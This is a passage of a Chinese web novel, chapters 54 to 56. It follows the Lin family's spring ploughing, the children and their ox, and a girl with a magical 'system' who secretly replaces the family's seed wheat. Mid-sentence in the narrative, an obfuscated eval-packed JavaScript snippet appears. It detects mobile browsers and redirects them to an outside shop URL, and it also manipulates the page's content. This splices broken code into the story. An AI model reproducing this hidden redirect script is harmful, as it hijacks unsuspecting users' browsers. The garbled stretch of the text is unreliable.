中间钱氏带着林慧抽空回去做了午食也是用篮子提到地里来吃的。 现在是春忙时节,家里都一天吃三顿了。而且中午还是一顿干的,这样才有力气干活。 就这么坐在田埂上吃午食的人不少,几个媳妇汉子笑呵呵的唠嗑,这也是他们少有的闲适时光了。 “二叔,你们家这块儿地是最大的一块儿了吧?”一个年青人自然的跟林阿爷他们坐在一堆。 “是啊,这块地犁出来,那活儿就去了一小半了吧?”没等林阿爷搭话,另一个跟他一起来的村民就笑嘻嘻的开口道。 “哪里说的那么轻巧?”林阿爷眼皮子一掀,一点儿不给面子,“这才哪儿到哪儿哦。” 他们家今年种四十亩的地,一半拿来种小麦,十亩是水稻和豆子,其余的种些瓜果蔬菜什么的。 当然这些地不可能全部精耕细作,他们也没有那么多精力。只能种些肥田,薄地则是随便撒点种子,肥都不施,草也不会除,如果秋天有点收成也算好的了。 林阿爷吃过了饭,又抽出拴在裤腰带儿上的草烟,接触到林阿奶不善的目光,他又心虚地给收了回去。 “二叔,你们家有牛了,这速度肯定比往年要快上不少吧,今年打算要多种几亩地嘛?”年青人随便扯了根草塞到嘴巴里。 村里有牛的人家也不过几户。 “不种那么多哟,家里一头牛,也不能紧着用啊。”林阿爷抬头看着瓦蓝瓦蓝的天和飘来飘去的云,“还不如把地多犁几遍。” 地犁一遍和犁两遍的区别还是很大的,一亩地估计就多出几斤的粮食,再多撒点儿肥,精心除草,那一亩地就有可能多出十几来斤的粮食来。 可别小看这点粮食,十几亩二十几亩加起来那就多了。 又加进话题的一个年轻小伙子闻言,撇撇嘴就嚷嚷,“要我说啊,买牛还不如人耕地呢,四五两的银子可不是笔小钱啊!” 这不是他嫉妒林阿爷家有牛,倒是真话,这里绝大数人都是这么想的。 清苦的农户还是用人力更加划算,因为买牛不仅要负担买牛和饲料的费用,还有牛可能生病花钱治疗的风险。 大多数农民耕种时都是用钉耙代替犁而不靠牛。有牛可以耕种十亩地,没有牛只用钉耙,只要勤奋也可以耕种十亩地。 而且既然没有耕牛,秋收以后也省去了在田里种饲料和放牧的麻烦,好像也不会差太多。 主要还是买牛的成本太高了,要不是大家还是会买上几头回来耕地的。 “哼,牛可比人能干多了。”林阿爷没好气的鼻孔对着他们,“一头牛可以顶的上两个劳动力,而且还踏踏实实的,可不会磨磨唧唧的。” 几个村民:……怀疑你在内涵我们,但是没有证据。 林阿爷:……哼,说的就是你们。 缺少耕牛的,一般是两个人用木杠悬拉着犁铧,一前一后共同使力推拉翻土,两个人累死累活的干上一整天才顶得上一头牛。 士之本在学,农之本在耕。 一年到头需要翻的地还少吗?做这些都需要人力。 多出来一头牛,那就是多出来两个人,两个人一天能干多少活儿? 一年又能干多少活儿? 而这些活儿换算成价值又能值多少? 而且也不能这么算,他们家现在磨豆浆推磨就是牛干的。虽然说一头牛抵两个成年人,但是人可比牛创造的价值多多了。 林家在县城里卖的豆花豆腐可赚了不少钱。当然,这些都是这群只靠土地吃饭的人所不能领悟的,因为他们几乎没有别的活计,也不需要解放劳动力。 55. 第55章 等日头偏了一些,他们也坐不住继续唠嗑了,打个招呼就回自家地里了。 等周围的人都走完了,林阿爷也招呼自家人开始耕地。 这片土地断断续续耕了三四天才算耕完,还是因为耕作得精细,要是以往,早就结束了。 一大早,院子里就没人了。 今天轮到林知和林慧在家喂鸡打扫卫生和做早饭。 等会还要给在地里忙活的林阿爷他们送去,早上凉爽,大家都趁这个时间干活呢。 林智和林敏来到黄牛身边,它就迫不及待地把头从栏缝里伸出来,鼻子里直哼哼,喷出一股股暖气,还伸出舌头舔林智的手。 林智晃了晃手中的青草,脆声道:“小棕,要不要吃香甜多汁的青草啊?” 牛一看见鲜嫩的青草,就“唰唰唰”伸出舌头把草卷进嘴里,吃得津津有味,尾巴欢快地甩动着。 林智的手上只留下一堆口水。 林敏丝毫不同情他,大声嘲笑,“哈哈,四哥,一定是你给它的草不爱吃,才给你吐这么多口水……” 林智鼓了鼓腮帮子,一副不可能的模样说:“怎么可能,这青草可是我专门去河边拔的,一看就很鲜嫩多汁。” 这下林敏也气炸了,“你又没吃过,你怎么知道一定好吃。二姐说过,只有自己做了的事情,才有资格评价。” 林智一呆,阿姐说的肯定是有道理的,可是…… 两人视线一对上,齐头转向了还没被牛吃过的几根草上。脖子一梗,自己吃就自己吃! 等林知出门看见的就是两人脸红脖子粗地吵架,她还没来得及制止。两人又表情恶狠狠地咬着喂牛的草,然后眼泪汪汪的吐出来。 林知:…… “呜……二姐,四哥他欺负我!”林敏跑过来拉住林知的袖子,眨着湿漉漉的大眼睛。 林知啼笑皆非,把也是一脸委屈,还“呸呸呸”个不停的林智拉过来问,“咳,你们刚才在干什么呀?” 两个人七嘴八舌地把刚才的事说了出来,还强烈要求林知为他们评理。 这下林知也无语了,拍着大腿笑得眼泪都出来了,哎哟,他们怎么傻得这么可爱啊? “阿智,阿敏,今天呢,你们做的很对。”林知见两小只要生气了,立马正色的对他们说,“在不清楚事情的全貌之前,不妄加评论;没有真正经历过,不妄下结论。” 两个孩子听得一愣一愣的。 林知看见他们眼底的迷茫,将自己想告诉他们的道理掰开了揉碎了来讲,“你们看,看到了什么?” 林智和林敏顺着她手指的方向看到的是嚼着青草正欢的黄牛。 两个孩子挠挠头,异口同声地说:“黄牛吃得很欢耶,说明它很喜欢吃青草。” 两个孩子比自己想象的还要聪明,都不需要更多的引导,直接就给出了这个答案。 “对啊,那你们刚才吃的青草好吃吗?” 还是异口同声,两张小脸苦哈哈摇地头,“不好吃,是涩的。” “对啊,所以我们不能以自己的标准去判定所有的事情好恶。”林知摇着小脑袋,感慨万千,“子非鱼,安知鱼之乐?你们不是牛,怎么知道它的想法呢?” 栅栏里的黄牛似乎是应和这句话,鼻子打了个响亮的喷嚏。 这下就很好理解了,林智和林敏都一副“我懂了”的表情,又和好了。 小朋友的友谊就是这样,去的快,来的也快。 林知觉得教育应该潜移默化和循序渐进。用生活中的小事情教会他们更多的东西,但是也不能一股脑的灌输给他们,就像世界上大多数人,就算懂许多道理,却依然过不好一样。 “走吧,我们现在去菜地里找阿奶他们。”林知一手牵一个,领着他们往地里去。 这是他们家的大菜园,近一亩地。当然,不是所有的地都种了东西的。现在林家人就是来准备翻土和播种的。 这次换林阿爷扶犁,林大郎在前面拉犁了,他肩上绑了两条厚厚的布条,不过重力在那,还是被磨得龇牙咧嘴的痛。 总有些地不适合牛耕,而且牛也总要歇息一下,所以还是得像以往一样用人来拉犁。 想到家里的地,除了部分地可以轮到用牛耕的外,其他的都是林阿爷他们拉的,林智就忍不住叹,“阿爷他们可真辛苦啊。” “可不是吗,以前我们家都是这么耕地的。不说以前,现在村里大多数人还是这么用人拉犁呢。”林三郎看着站在田埂上的小人说话。 他揉了揉刚才磨得厉害的肩膀,“拉了犁,那肩膀肿得像馒头那么大,全身都痛,一整夜一整夜的睡不着呢。” 春种就是很苦啊。 林敏听了心疼得不得了,昨年她还小没什么印象了,个子矮矮的她直接踮起脚来要给林三郎呼呼。 林智也往他身上扒拉,皱着小眉头,“三叔,今天我把自己的那份儿鸡蛋给你吃。” 林三郎直接一只大手一个把他们抱起来,稀罕得不得了,“哎哟,怎么这么懂事呢!” “嘻嘻嘻。”视线陡然升高,俩孩子的注意力瞬间被转移,开始四处张望。 林阿奶抬起头看向这边的动静,嘟嚷着,“这么大个人了,还没个正经。” 马氏和钱氏充耳不闻,埋头整着地,开出垄来,林仁跟几个小的则跟在后面施肥。 既然要种菜,林知也换了一部分菜种在原来的那份儿里面。份量少,一来是为了保险,就算到时候有一两株有问题也不会有多大影响。二来,实在是林知的积分开销大,进账少,买了不少麦种和稻种之类的已经捉襟见肘了。 至于种类,后世很常见的西红柿、土豆、青椒、红薯、洋葱、辣椒、玉米,这里都没有。 林知就算有,也不敢拿出来啊。 “哎,要是可以快点长大就好了。”林知思及此处,将锄上来的泥块踩散后有些忧伤地叹气道。 “对啊,长大以后就不用读书了,只要是大人,想干什么就能干什么了!”林义赞同。 被换下来的林三郎帮着林阿奶他们整地,闻言乐了,“还是当小孩子好啊,不用下地拉犁,活儿也干得少。以后等你们长大了就知道小时候的快乐了。” 年少不知愁滋味,林知觉得自己不用再长大一次就能理解到了。 “才不是呢!”林知拍了一下林义的脑袋,道:“你看阿爷他们,也不是想干什么就干什么啊!” “你到底站哪边的?”林义丢下竹篓不乐意了,双手叉腰地问。 “哼哼,我当然是站的对的那一边啊,又不是哪个人一边。”林知懒得跟他讲。 林义这次就很硬气了,直接哼了一声扭过头去,不理她了。 等到林家用过晚食,便全家出动,包括今天去县里做生意的林二郎和罗氏,一起来到菜地。 早上已经先把肥撒下去,傍晚用过晚食再来撒种子就行。 此时太阳还垂在远处山腰上,阳光已经不毒辣了。 全家十五个人,都差点把地里给站满了,林阿奶早就和几个儿媳妇商量了哪块种哪些菜。 任务分派好便道:“行了,快开始吧,争取今天晚上之前种完这片地。” 林阿奶和三个儿媳妇负责下种,小孩子们跟在后面来掩土,林大郎他们则挑了水来淋,也不过一个时辰的时间就种出来了,速度很快。 春日日头稍微边长了些,现在也不过刚刚天黑,一群人回了家。 * 这天,林知趁着家里人不注意溜进了放粮的屋子里,把装麦种的仓给打开,换上空间里她早就买好了的种子。 家里能用的袋子少,所以麦子一般都是用那种谷仓装起来的。 等林知从屋里钻出来,身上全落了灰,院子里刚从地里回来的林仁他们恰好在洗手洗脸。 林义张了张嘴巴,打量了一下灰头土脸的林知,有些惊讶,“你这是钻到灶坑里去了?怎么全身都是灰。” 林知随手拍了拍,也凑到他们身边来洗手,这还是做晚食的林慧特意给几个人打的温水呢。 林仁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308544|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑笑给她让位置,把架子上的干布拿过来擦手,“你快到这里来洗干净,小心二婶回来骂你。” 林知心情很好,嘴角都压不住笑,“我阿娘才不会呢,又不像大伯母一样……”她把擦干手的帕子自然的递给俞珩。 后者笑着说了声谢谢,俞珩最近跟着他们下地,来回的跑,现在小脸也是红扑扑的。 “哇啦——哇哈哈——”林智和林敏像小野猴一样从进院子,脸上手上都是泥土,身上还有不少草屑,“阿姐,好香啊!今天才什么好吃的?” 林知一手把他们抓过来按住洗洗,语气恶狠狠的说:“你们再玩得这么脏回来就别上床睡觉了!” “诶嘿嘿——”院子里又是一片打闹。 傍晚,太阳躲在了山后只剩霞光,林家的人才或扛着锄头挑着水桶,一手泥从外头回来。 家里活计多,都累得不行。 林慧专门蒸了米饭,虽然是粗粮。但是和着冬天的腌菜,切点腊肉丁,都不需拌猪油了,颗颗米泛着油光,只闻着味就香。 平日里天气很好,一家子就会趁早吃饭,免得晚上还要点油灯。 福宝和乐宝现在正是好动的时候,一刻也离不得人,要不然他们不是把拳头塞进嘴里,就是口水流得到处都是。 所以罗氏就用背篓把他们装着,干活儿就放在一边。 此时他们就坐在桌子边的背篓里,眼睛滴溜溜的转,看着林义几个小孩儿狼吞虎咽的吃饭,恨不得把头埋进碗里的架势就急得“哇哇”发出声音。 乐宝更是想站起来,挥舞着爪子,口水已经打湿了系在脖子上的兜兜。 正在说话的大人们全都停下来看他们,哭笑不得。 罗氏一低头也笑了,点了下她的额头,“瞧这小馋样,饭马上就好!”加紧手里的动作。 小孩子几个月也是可以吃些辅食的,所以给两个孩子特意蒸了蛋羹,也不用加其他东西,两个小不点儿可以一口一口的吃完一小碗。 乐宝一小口一小口的吃着罗氏喂过来的蛋羹,眼睛还不忘馋巴巴爸爸盯着桌子上的白菜豆腐汤。 林知坐在她对面儿,看着妹妹口水长流的样子,觉得她这小馋样实在好笑,夹了一块豆腐往前一伸逗她,“乐宝想吃这个?” 大家都可以清晰可见乐宝这丫头眼睛一亮,口水流得更欢了,林知却摇头晃脑给塞进自己嘴里,“你还太小了,不能吃哦。” 急得乐宝连忙去找帮手,结果一看福宝在林二郎的投食下,乖乖坐好根本不理她,只好泄气。 林阿奶惊奇地说:“这丫头才六个月呢,这么鬼精鬼精的了?” 马氏坐在一边,见乐宝吃完了东西,捏开她的小嘴瞧了瞧,笑道:“我们乐宝要长牙了。” “这两个孩子是养的好。”喂完乐宝和福宝,林二郎夫妻才开始专心吃饭,“家里上半年不是买肉就是炖骨头汤,他们两个沾了不少光呢。” 本来因为罗氏生产不利,身子都要垮了,没想到她养好了病,赶上家里吃得也越来越好,连带着孩子也精神不少。 家里人也是惊奇不已,其他几个孩子哪个不是从小瘦瘦黑黑的,哭起来就像小猫一样,哪里像福宝乐宝一样。 林阿奶稀罕得不行,抱过乐宝来亲亲,“像个白面团子一样,真的是阿奶是福宝乐宝哟。” 罗氏心里高兴,指着埋头吃饭的林知,又笑着说:“这几个孩子里,就数她小时最难带了!别的孩子再闹人,夜里头也能睡会儿,就她怎么也要人抱着背着离不得人……” 林知竖着耳朵听,神情恍惚,好像真的有个小孩儿被罗氏用布带背在背上哄睡,放在摇篮里听曲儿…… 她压下心中怪异,因为她外婆从小也是这么念叨的,外婆还说,她小时候体弱多病,经常大半夜发烧背到村口的老医生那儿看病…… 坐在她旁边的俞珩关注到林知的情绪有些不对,拉了拉她的衣服,用眼神询问怎么了。 林知摇摇头,调整过来,没说什么,而罗氏他们也没有再继续这个话题。 56. 第56章 钱氏已经在说过几天家里要挑些种蛋出来,抱一窝小鸡试试。也不用喂粮食,让几个孩子割点草,抓点虫子,从菜地里弄点菜叶子喂喂就行。 家里的鸡苗从来都不是买的,而是自家挑的种蛋来孵的,每年这个时候都要抱小鸡了,所以林阿奶点头让钱氏去做。 林阿爷放下碗,扫了一眼家里一群人,“看天气过几天可能要下雨了,家里就要抓紧下麦种了。这几天家里该收拾的就收拾完,到时候忙起来也顾不上。” 该补的衣服鞋子,菜园子要浇水除草,地里还要施肥,农具要修,簸箕背篓要补,还有生意也得做…… 大家一天到晚忙得团团转。 晚上。 林知揭开用水打湿后包着寒瓜种子的麻布,寒瓜种子是早早用草灰水浸泡好的,现在浸了水用布包起来,已经长出细小的白芽甚至有些是绿色的。 她小心的戳了戳,见长势喜人,笑得月牙弯弯,“这么几天才发芽,还好没什么大问题,看来明后天就可以种到地里面了。” 系统闻言接过话,【宿主前段时间种的菜苗应该都长出来了吧。】 林知听出它的言下之意,撇撇嘴,“人家都还是宝宝呢,你就这么惦记着,不能多等几天嘛?” 系统:……还不是你完成任务一点也不积极。 林知这几天忙着下地干活,要不就是家里的活儿一大堆。她只能抽空完成一些挖挖土、拔棵草或者扑只蝴蝶的简单任务,再远一点的,她是一步路也不肯挪。 气得系统那是一个咬牙切齿,最后也只能作罢。 林知就这么跟系统插诨打科地往屋里走,进了屋就看见俞珩还在练字,她好奇地凑上去看。 俞珩早就看见她了,倒也没有被吓到,反而调皮地问她,“怎么,有没有比你的字好看?” 俞珩来这么久了,早就跟林知他们混熟了,也不像刚来的时候那么拘束。他本来也是个坐不住的性子,在家里也是个混世大魔王,他阿爹阿娘都管不住的。 林知看着纸上“龙飞凤舞”的几个字,表示自己欣赏不来,“虽然我的字写得不好,但是我欣赏能力还是有的。” 其实林知的字还是有很大进步了,不像以前的那样字写成一团或者糊得不成样子。她把这些都归咎于繁体字太繁杂了,那么多笔画还要写那么小和整洁,可不就糊成一团嘛。 俞珩的字也挺丑的,他玩心大,家人又宠,平日里虽不是不学习,但也没花多少心思就是了。 两人对着那么“奇形怪状”的字猜着像什么东西,“哈哈哈,你看,这就是个人在手舞足蹈的。还有这个,好像一个吃撑了的大胖子……” 俞珩把林知点评的那些“丑”字圈出来,到时候打算重新写。 点评完了,林知就回了自己的小床边。 她坐到床边,四下张望了下,确定没有人关注,就在垫子下摸出来一本蓝皮包着的书。 不怪她谨慎,其实这就是那些话本小说,如果被林义他们瞧见了,肯定也要跟着看。 话本那是民间有些人乱写的,九分假,一分真,不足为信。但她觉得打发时间当故事看还是很有趣的。 其实是林阿爷不给他们看这样的书,怕他们移了性情,像注重各地风俗,地理的杂记,还是容许看的。 都怪林义前些日子天天抱着武侠小说看,嘴里念着快意恩仇,腥风血雨的话,连累得林知的书都被收了。 有些话本的确还不适合林义他们这种思想没有发展成熟,容易被外界影响的年纪的人。 至于林知哪里来的话本小说,自然是系统帮她在各个世界里收刮的一些。不过为了保险,她很少在其他人面前拿出来看,可以拿出来的不是铺子租的,就是余姐姐那儿借的。 林知自然的坐到俞珩的桌子对面,屋子里就这一张桌子,点的是她阿娘屋里的那盏煤油灯。 书皮是很正经的封面,但是内容很是精彩,林知捧着书看得津津有味。 俞珩抬头看了她一眼,继续低头练他的字,写了一会儿,见她如此津津有味的看着,终于忍不住了,也凑上去好奇地看。 林知撇了他一眼,自觉的让出半边位置和书,“你要从这里看,还是从头开始看?” 这是一本历史小说,按照林知经验,应该是野史和杜撰了一些,不过更有趣味性。没什么出格的东西,所以俞珩要看,林知也大方的给他看了。 “就这里吧。”俞珩挨着林知坐下。 两小只就这么看了近半个时辰,林知一看油灯都点得差不多了,把书一合上,“不行,我们得去睡觉了,要不然明天起不来了。” 被一双圆溜溜的眼睛盯着,俞珩虽然对故事很不舍,但是也点头答应了。 两人吹了灯,上床躺好。 “你说,刚才那个故事为什么是这样的啊?”还是林知没忍住先说话,既然不看书,讨论一下没问题吧。 “我觉得这个张大人一看就是个坏人,所以这个走向很正常啊……”俞珩答道。 两人就这么一应一答,隔着竹屏讨论起剧情了,最后都不知道是谁先没接上话,就这么迷迷糊糊一觉睡到天光大亮。 — 马氏起来洗漱后,先去厨房生火烧水,又推门去后院鸡舍喂了鸡捡鸡蛋。 家里养的鸡多,现在正是下蛋的好时节,加上家里孩子摸的虫给喂,一天就能摸到十多个个蛋,除了自家留点儿吃,攒一攒就可以拿去卖了。 小菜园里的菜打了水上来浇过一遍,她招呼几个孩子去拔草,就进灶房开始准备早饭。 早饭一贯简单,为了顶饿,蒸的是粗面馍馍,就着榨菜吃。 倒不是不吃好的,家里这么多人呢,不可能每顿都吃好的,要不然不用等到秋收,家里的粮食就造完了。 林阿爷他们早就趁着天气凉快下地干活了,等早饭做好,马氏让林知去喊他们回来吃饭。 “诶。”哄弟弟妹妹的林知转身就出去了。 等吃过早食,大家就各自忙去了。 林知带着林智和林敏,哦,还有两个小不点去他们开的荒地了。 照顾了这么多孩子了,罗氏和林二郎很有经验,专门给福宝和乐宝准备了小推车坐,实在是他们太会闹腾了。 屁股底下垫的旧衣服,用带子绑在腰上,这样他们就不会爬出来,去哪就推着小车,很方便轻松。 看得林智嘴巴嘟嘟,最后也亲自体验了一把才不嚷嚷了。 春风,夹杂着翻新的泥土气拂面而来,河水也上涨了些,哗啦啦的向东流。林知觉得很是神清气爽。 那么大一片荒地全被他们给翻出来了,肯定没有那么精细。他们还整理出一小块地,施肥浇水后拿来育秧苗,虽然还要移栽很麻烦,但是这样存活率可以大大提高。 林知小心翼翼地把发芽了的瓜种给种到肥沃的土里,现在正合适,要是再长大一些,瓜种子的养分被消耗完了,就不会长了。 林智和林敏拿着小木片撅着屁股跟在后面帮忙。 太阳暖烘烘的晒着,春风搅得河水翻涌,福宝和乐宝晃荡着脚丫子“咿咿呀呀”的对坐着也不知道在交流什么。 “哇,阿姐,我挖到好大一条地龙啊!”林智扬起手里的小木片,朝林知那个方向递,想吓她。 乍一听见这话的林知背后打个寒颤,没好气地给了林智一个爆栗,“下次想吓人别喊出来啊,都被知道了还有什么可吓的。” 虽然她还是觉得可怕。 “嘿嘿,那阿姐还不是被 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林阿爷也看了看天,虽然天空中飘着细雨,但是带着林大郎他们穿上蓑衣,扛着锄头和犁就下地。 他们要趁日子给耕好的水田蓄上水,选一块肥沃的土地平整出来育秧苗。 在播种前,先将种子泡于温水中浸泡一天,种子露白后,就会长出幼芽,然后均匀地撒在水田里就好了。 林知还是挺喜欢下雨天的,他们家在村子最里头,背靠大山竹林,抬眼望去,一片郁郁葱葱,乳白色的山雾围绕在山间,悠哉悠哉,飘忽不定。 前有河流田地,茅屋人家,时有炊烟袅袅,孩童嬉闹。满满的田园气息,让人很是心安。 好在下了两天的小雨,天就放晴了,但又该点麦子了。 春雨初晴,微雨缓缓停歇,薄雾消散。 林家人天刚蒙蒙亮就起床开始点种。一直点到大半晌午的时候,几个孩子才往地里送饭,就这么在地头树荫下吃了接着点种,一直要干到天黑透才回家。 跟村里人一样,他们天天早出晚归的,林家人养了一个冬天的膘肉都没了,以肉眼可见的速度瘦下去。 林阿奶瞧着心疼,拆了一吊铜板天天拿去买些荤腥回来吃,孩子们总算脸上有了些喜色。 — 半下午,太阳高悬,各家院子都是静悄悄的,大多数人都还在地里干活儿。 八岁的春桃一路急跑着向林家院子去,惹得田间坐在树荫下乘凉的大人们纷纷问她急惶惶的干啥去。 回过神来的春桃懊恼地拍了一下自己,这大白天的都在下地,去家里哪里找得到人咧。 她急忙拐个弯要去林阿爷家的地里。 还不忘朝那群人看了看,扬声冲着当中的一人喊,“张阿奶,你们家大牛和别人打起来了,就在小河口那边。” 这丫头一溜烟就跑了,头也不回的,张桂芬脸色不好地站起来,暗骂这个死丫头,喊她都不听。 张桂芳倒是不急,村里的孩子们打架是常有的事儿,她家大牛又是高高壮壮的,平日里只有欺负别人的份儿。 也听见这话的几个婶子也是脸色一变,急忙去看自家孩子在不在,生怕被欺负的是自家孩子。 也有明事理的几个村民连忙跟张桂芳说:“你赶紧去看看吧,别把人家孩子给打坏了。乡里乡亲的,把人打坏了,面上也不好看。” 张婶子回头皮笑肉不笑地说:“这孩子们之间的事哪有大人插手的,都一个姓儿的,小时候打架长大了感情一样好。” 坐着的几个汉子媳妇撇撇嘴,知道她蛮不讲理,自讨没趣,拍拍屁股起身干活去了。 张桂芳这才晃悠悠地往小河口去。